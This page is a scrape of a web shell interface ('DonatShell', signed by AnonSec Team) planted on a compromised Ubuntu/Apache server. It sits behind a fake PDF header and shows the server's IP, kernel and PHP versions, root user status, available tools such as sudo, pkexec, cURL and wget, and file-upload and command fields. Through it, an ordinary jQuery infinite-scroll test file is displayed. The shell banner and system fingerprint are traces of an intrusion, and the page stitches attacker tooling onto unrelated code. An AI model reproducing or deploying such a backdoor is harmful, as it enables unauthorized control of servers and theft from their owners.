%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/cwd/html/ppaobm/vendor/webcreate/jquery-ias/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/cwd/html/ppaobm/vendor/webcreate/jquery-ias/test/04-history-extension-test.js
describe("IAS", function () {
  before(function() {
    this.timeout = 10000;

    window.scrollTo(0, 0);
  });

  after(function() {
    jQuery.ias('destroy');
  });

  it("should expose a prev method", function() {
    var ias = jQuery.ias({
      container : '.listing',
      item: '.post',
      pagination: '.navigation',
      next: '.next-posts a'
    });

    ias.extension(new IASTriggerExtension());
    ias.extension(new IASPagingExtension());
    ias.extension(new IASHistoryExtension({
      prev: '.prev-posts a'
    }));

    ias.initialize();

    expect(ias.prev).toBeDefined();
  });

  it("should load the prev page when prev() is called", function() {
    var deferred = when.defer();

    loadFixture("page2.html", function() {
      var ias = jQuery.ias({
        container : '.listing',
        item: '.post',
        pagination: '.navigation',
        next: '.next-posts a'
      });

      ias.extension(new IASPagingExtension());
      ias.extension(new IASHistoryExtension({
        prev: '.prev-posts a'
      }));

      // ias auto-loads the prev page when initialized,
      // this prevents the auto loading
      var firstTime = true;
      ias.on('prev', function () {
        if (firstTime) {
          firstTime = false;

          return false;
        }

        return true;
      }, 1000);

      ias.initialize();

      expect($('#post1').length).toEqual(0);

      expect(ias.prev()).toBeTrue();

      wait(1000).then(function() {
        expect($('#post1').length).toEqual(1);

        deferred.resolve();
      });
    });

    return deferred.promise;
  });
});

Anon7 - 2022
AnonSec Team